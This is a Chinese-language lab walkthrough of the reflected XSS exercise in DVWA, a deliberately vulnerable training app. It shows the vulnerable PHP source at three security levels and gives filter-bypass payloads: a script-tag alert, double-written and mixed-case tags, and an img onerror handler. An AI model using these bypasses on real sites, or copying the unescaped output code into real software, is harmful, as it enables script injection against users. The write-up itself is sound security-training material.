文章目錄
Reflected XSS Source(Low)
vulnerabilities/xss_r/source/low.php
代碼分析
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
$_GET[ ‘name’ ]無任何過濾
漏洞利用
輸入,成功彈框:
http://127.0.0.1/dvwa/vulnerabilities/xss_r/?name=%3Cscript%3Ealert%28233%29%3C%2Fscript%3E
Reflected XSS(Medium)
代碼分析
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
可以看到,這裏對輸入進行了過濾,基於黑名單的思想,使用str_replace函數將
輸入中的<script>
刪除,這種防護機制是可以被輕鬆繞過的。
漏洞利用
雙寫繞過
輸入<sc<script>ript>alert(233)</script>
,成功彈框:
大小寫混淆繞過
輸入<ScRipt>alert(233)</script>
,成功彈框:
Reflected XSS(High)
代碼分析
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
$name = preg_replace( ‘/<(.)s(.)c(.)r(.)i(.)p(.)t/i’
使用黑名單過濾輸入,preg_replace()函數用於正則表達式的搜索和替換,這使得雙寫繞過、大小寫混淆繞過(正則表達式中i表示不區分大小寫)不再有效。
漏洞利用
雖然無法使用<script>
標籤注入XSS代碼,但是可以通過img、body等標籤的事件或者iframe等標籤的src注入惡意的js代碼。
輸入<img src=1 onerror=alert(/233/)>
,成功彈框: